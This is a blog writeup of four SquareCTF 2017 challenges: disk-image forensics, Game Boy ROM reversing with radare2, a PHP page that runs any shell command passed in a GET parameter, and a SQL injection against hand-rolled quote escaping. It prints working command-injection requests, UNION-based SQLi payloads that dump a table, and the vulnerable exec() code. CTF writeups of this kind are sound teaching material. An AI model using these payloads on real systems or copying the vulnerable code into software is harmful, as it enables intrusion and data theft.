Martin Kirkholt Melhus

SquareCTF 2017 Writeup

Published

Writeup of select challenges from the recent SquareCTF - Forensics, GameBoy ROM reversing with Radare2 and SQLi injections.

Needle In The Haystack

In this forensics challenge we are given the file needle-in-the-haystack with the instructions to find the hidden flag.

$ file needle-in-the-haystack
needle-in-the-haystack: DOS/MBR boot sector, code offset 0x3c+2, OEM-ID "mkfs.fat", sectors/cluster 4, reserved sectors 4, root entries 512, sectors 10240 (volumes <=32 MB) , Media descriptor 0xf8, sectors/FAT 8, sectors/track 63, heads 255, serial number 0x1e92c764, unlabeled, FAT (12 bit)

Nice, it's a FAT File System. Lets check out whats on the disk using the fls tool from Sleuth Kit.

$ fls needle-in-the-haystack
r/r * 4:	deploy.tar.gz
d/d 6:	blog
d/d * 8:	.git
v/v 163523:	$MBR
v/v 163524:	$FAT1
v/v 163525:	$FAT2
d/d 163526:	$OrphanFiles

Notably, the file deploy.tar.gz is deleted. Sticking to the Sleuth Kit toolbox, we can extract the deleted file using icat.

$ icat needle-in-the-haystack 4 > deploy.tar.gz
$ mkdir deploy
$ tar -xzf deploy.tar.gz -C deploy
$ cd deploy
$ ls -la
total 0
drwxr-xr-x   4 martme  staff  136 Oct 10 18:41 .
drwxr-xr-x   9 martme  staff  306 Oct 10 18:41 ..
drwxr-xr-x  12 martme  staff  408 Aug 12 21:22 .git
drwxr-xr-x  18 martme  staff  612 Aug 12 20:43 blog

In the archive, we find a Ruby on Rails application. The blog folder contains a Ruby on Rails application using an SQLite3 Database. Running the app seems like a good idea at this point, but it turns out that we are missing a configuration file at config/database.yml. Time to deep dive into the git history!

In the initial commit, the files config/secrets.yml and config/database.yml added to version control, and in the following commit they were both deleted. At this point, I got hung up in the original contents of the file config/database.yml.

development:
  <<: *default
  database: db/development.sqlite3

Looking for development.sqlite in the original file ended up in a lot of wasted time, but also led me to look closer at the git repository. My hope was that the file was present but unreferenced. Running the command git fsck --no-reflog proves that there at least are some orphaned commits to search through.

$ git fsck --no-reflog | grep commit
Checking object directories: 100% (256/256), done.
dangling commit 3bc40c0596ac9c057c76359f00ad628662d142dc
dangling commit 68490b1f703f667c2dbf9032104a2dcd1039204e
dangling commit 78c94ce02529b3775330e828fcc8af524252df06
dangling commit d059d83a49da1f2d7c2540e316259d6bf501ff50
dangling commit c5f299df85f0b3fb057b248909f99e6422f7ce3c

The diff from these commits can be viewed using git show <commit>. Having a closer look at commit 68490b1f70, we are presented with the following changes to the config/secrets.yml file!

diff --git a/blog/config/secrets.yml b/blog/config/secrets.yml
new file mode 100644
index 0000000..04ec141
--- /dev/null
+++ b/blog/config/secrets.yml
@@ -0,0 +1,24 @@
+# Be sure to restart your server when you modify this file.
+
+# Your secret key is used for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+# You can use `rake secret` to generate a secure secret key.
+
+# Make sure the secrets in this file are kept private
+# if you're sharing your code publicly.
+
+development:
+  secret_key_base: 931d2835703c6e1e4fa1ec89934437221397166646ab9e815da4fbfbf574430b660debe68678fcfe3f7e62d4c4f2003264090aa6df4e62ebbd25b8fe70ff2bc2
+
+test:
+  secret_key_base: 389e066b905e18624e71c9b84afd850c3232b72a027297ff6bb143ad069780357574c446da6ad5ac643f0a0e87bd5ca0d8855ecacc548cf00ffd29632aec0853
+
+flag: flag-a89a24c836bde785292b908a25b9241d
+
+# Do not keep production secrets in the repository,
+# instead read values from the environment.
+production:
+  secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>

Turns out we weren't looking for an SQLite3 database after all!

The Turing Agent (A Small GameBoy CTF)

The original challenge is available on GitHub.

This reversing challenge required reverse engineering a Game Boy ROM. Thankfully, reddit user /u/Megabeets shared his awesome bloggpost on reverse engineering GameBoy ROMs during the CTF. This post was immensly helpful, as I had never used Radare 2, nor looked into GameBoy ROMs before this CTF. I highly recommend Megabeets introduction to Radare 2 if you're also new to Radare!

The tools.txt file in the GitHub repository suggested using BGB as a GameBoy emulator and debugger together with radare2 for disassembly/analysis.

Install these! Check. Now lets look at the game in the emulator:

Starting the game Entering code. Hopefully this is the correct one, but don't get your hopes up! Nope. Wrong code!

We need to find the code to unlock the door! Time to spin up radare. First up is analyzing the code, then looking for the string we saw when emulating the game, "NO GOOD."

$ r2 mission.gb
[0x00000100]> aaa
[0x00000100]> izzq~NO GOOD.
0x2c1b 9 8 NO GOOD.

OK, so the string is located at address 0x2c1b. Lets look at where this is referenced. We can do this by printing the disassembly (pd) of n instructions and grep (~) the known address.

[0x00000100]> pd 0x3000~0x2c1b
| |||||||   0x00002c00      111b2c         ld de, 0x2c1b

Cool, lets see what hidden at 0x2c00

[0x00000100]> pd @ 0x2c00
/ (fcn) fcn.00002c00 27
|   fcn.00002c00 ();
|              ; CALL XREF from 0x00002b20 (fcn.00002aa9)
|           0x00002c00      111b2c         ld de, 0x2c1b    <-- the string is referenced here!
|           0x00002c03      d5             push de
|           0x00002c04      cd1025         call fcn.00002510
|           0x00002c07      e802           add sp, 0x02
|           0x00002c09      11242c         ld de, 0x2c24
|           0x00002c0c      d5             push de
|           0x00002c0d      cd1025         call fcn.00002510
|           0x00002c10      e802           add sp, 0x02
|           0x00002c12      cdef24         call fcn.000024ef
|           0x00002c15      21d0c0         ld hl, 0xc0d0
|           0x00002c18      3600           ld [hl], 0x00
(...)

We're mostly interested in what is going on before the string is loaded into memory, as we want the alternate action to take place. The function is called from fnc.00002aa9. Lets see what that looks like.

[0x00000100]> pdf @ 0x2aa9
/ (fcn) fcn.00002aa9 125
|   fcn.00002aa9 ();
|           0x00002aa9      e8fd           add sp, 0xfd
|           0x00002aab      f800           ld hl, sp + 0x00
|           0x00002aad      3600           ld [hl], 0x00
|           0x00002aaf      23             inc hl
|           0x00002ab0      3600           ld [hl], 0x00
|       .-> 0x00002ab2      21f1c0         ld hl, 0xc0f1
|       |   0x00002ab5      36ba           ld [hl], 0xba
|       |   0x00002ab7      23             inc hl
|       |   0x00002ab8      3638           ld [hl], 0x38
|       |   0x00002aba      23             inc hl
|       |   0x00002abb      36ae           ld [hl], 0xae
|       |   0x00002abd      23             inc hl
|       |   0x00002abe      3672           ld [hl], 0x72
|       |   0x00002ac0      11c0c0         ld de, 0xc0c0
|       |   0x00002ac3      f801           ld hl, sp + 0x01
|       |   0x00002ac5      6e             ld l, [hl]
|       |   0x00002ac6      2600           ld h, 0x00
|       |   0x00002ac8      19             add hl, de
|       |   0x00002ac9      4d             ld c, l
|       |   0x00002aca      44             ld b, h
|       |   0x00002acb      0a             ld a, [bc]
|       |   0x00002acc      f802           ld hl, sp + 0x02
|       |   0x00002ace      77             ld [hl], a
|       |   0x00002acf      111c02         ld de, 0x021c
|       |   0x00002ad2      2b             dec hl
|       |   0x00002ad3      6e             ld l, [hl]
|       |   0x00002ad4      2600           ld h, 0x00
|       |   0x00002ad6      19             add hl, de
|       |   0x00002ad7      4d             ld c, l
|       |   0x00002ad8      44             ld b, h
|       |   0x00002ad9      0a             ld a, [bc]
|       |   0x00002ada      f802           ld hl, sp + 0x02
|       |   0x00002adc      a6             and [hl]
|      ,==< 0x00002add      2811           jr Z, 0x11
|      ||   0x00002adf      2b             dec hl
|      ||   0x00002ae0      2b             dec hl
|      ||   0x00002ae1      34             inc [hl]
|      ||   0x00002ae2      21f5c0         ld hl, 0xc0f5
|      ||   0x00002ae5      3653           ld [hl], 0x53
|      ||   0x00002ae7      23             inc hl
|      ||   0x00002ae8      36f5           ld [hl], 0xf5
|      ||   0x00002aea      23             inc hl
|      ||   0x00002aeb      3606           ld [hl], 0x06
|      ||   0x00002aed      23             inc hl
|      ||   0x00002aee      36a1           ld [hl], 0xa1
|      `--> 0x00002af0      f801           ld hl, sp + 0x01
|       |   0x00002af2      34             inc [hl]
|       |   0x00002af3      46             ld b, [hl]
|       |   0x00002af4      0e00           ld c, 0x00
|       |   0x00002af6      78             ld a, b
|       |   0x00002af7      d610           sub 0x10
|       |   0x00002af9      79             ld a, c
|       |   0x00002afa      de00           sbc 0x00
|       `=< 0x00002afc      dab22a         jp C, 0x2ab2
|           0x00002aff      21f9c0         ld hl, 0xc0f9
|           0x00002b02      3653           ld [hl], 0x53
|           0x00002b04      23             inc hl
|           0x00002b05      367c           ld [hl], 0x7c
|           0x00002b07      23             inc hl
|           0x00002b08      36a9           ld [hl], 0xa9
|           0x00002b0a      23             inc hl
|           0x00002b0b      361e           ld [hl], 0x1e
|           0x00002b0d      f800           ld hl, sp + 0x00
|           0x00002b0f      56             ld d, [hl]
|           0x00002b10      1e00           ld e, 0x00
|           0x00002b12      7a             ld a, d
|           0x00002b13      d610           sub 0x10
|       ,=< 0x00002b15      2009           jr nZ, 0x09
|       |   0x00002b17      7b             ld a, e
|       |   0x00002b18      b7             or a
|      ,==< 0x00002b19      2005           jr nZ, 0x05
|      ||   0x00002b1b      cd262b         call fcn.00002b26  <-- this hopefully prints the flag!
|     ,===< 0x00002b1e      1803           jr 0x03
|     |``-> 0x00002b20      cd002c         call fcn.00002c00  <-- this prints "NO GOOD."
|     |        ; JMP XREF from 0x00002b1e (fcn.00002aa9)
|     `---> 0x00002b23      e803           add sp, 0x03
\           0x00002b25      c9             ret

Time to head back to the debugger. Let's add a breakpoint to the instruction at 0x2b19, so that we can bypass the jump and pass through to 0x2b1b.

It's not very effective!

Turns out our emulator never executes the instruction at 0x2b19 after all. Lets try again, with a breakpoint at 0x2b19.

Hitting breakpoint in the debugger after entering a wrong code allow jumping directly to an alternate instruction.

Hurray! It's super effective! As you can see in the image, we can now use the nifty debugger function and jump straight to the instruction at 0x2b1b. This works wonders, as running from this instruction prints the flag!

It works! The flag is displayed on the screen.

Fin.

Password Checker

A quick look at the page source of the web page for this task reveals an interesting looking page; run.php takes the GET parameter cmd and happily runs any bash command you pass it!

run.php?cmd=ls
run.php

However, the returned output is limited to a single line of text. To bypass this, we append | tr "\n" " " to the command we want to execute, allowing us to see all lines of the output.

run.php?cmd=ls -a | tr "\n" " "
. .. index.html run.php

Nice. Lets check out what we're working with, by looking at the source for run.php.

run.php?cmd=cat run.php | tr "\n" " "
<?php $line = exec($_GET['cmd']); echo $line; ?>

OK, so no surprises there. Let's look around some more!

run.php?cmd=ls -a ../ | tr "\n" " "
. .. flag.txt html password.txt xxx_not_a_flag.txt

Whoop whoop! A file called flag.txt. We're getting close!

run.php?cat ../flag.txt | tr "\n" " "
line 1: flag-rugeg-monak-fipif-kugoh-zulyd line 2: flap-31aac7e26de449ee

Win!

Little Doggy Tables

This SQLi challenge comes with source code! Some parts of the source code are omitted for brevity.

# [...]
def initialize
  @db = SQLite3::Database.new("secure.db")
end

def secure_species_lookup(insecure_codename)
  # roll our own escaping to prevent SQL injection attacks
  secure_codename = insecure_codename.gsub("'", Regexp.escape("\\'"))
  query = "SELECT species FROM operatives WHERE codename = '#{secure_codename}';"

  puts query
  results = @db.execute(query)

  return if results.length == 0
  results[0][0]
end
# [...]

The input sanitization is not very effective in this implementation. We can easily include whatever we want in the original query by appending ' union select [...] --'.

First off, find valid table names in the database. We know we're working with SQLite3, so we can use the following query.

' union select group_concat(name) from sqlite_master where type="table"--

We use the group_concat trick to aggregate all rows in the select result into a single row. In this case, we only find a single table, operatives.

We can then find the columns in this table using the query ' union select sql from sqlite_master where tbl_name = "operatives"--.

CREATE TABLE operatives (
        codename TEXT,
        species TEXT,
        secret TEXT
      )

The column secrets looks like something we'd want to have a closer look at. To dump this table we can use the group_concat trick again, but we need a property to group by. According to the task, we are dealing with only dogs and cats, hence species should only have two unique values. Grouping by species should in theory only return two rows.

Our first try is unsuccessful

' union select group_concat(secret) from operatives group by species--

ccf271b7830882da1791852baeca1737fcbe4b90,d3964f9dad9f60363c81b688324d95b4ec7c8038,136571b41aa14adc10c5f3c987d43c02c8f5d498,b6abd567fa79cbe0196d093a067271361dc6ca8b,4143d3a341877154d6e95211464e1df1015b74bd

So we simply skip the first row.

' union select group_concat(secret) from operatives group by species limit 1,1--

e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e,7448d8798a4380162d4b56f9b452e2f6f9e24e7a,9c6b057a2b9d96a4067a749ee3b3b0158d390cf1,5d9474c0309b7ca09a182d888f73b37a8fe1362c,flag-a3db5c13ff90a36963278c6a39e4ee3c22e2a436

Success! In retrospect we could have guessed that the flag was prefixed with flag-, and an easier way of finding the flag would have been ' union select secret from operatives where secret like "flag-%"--.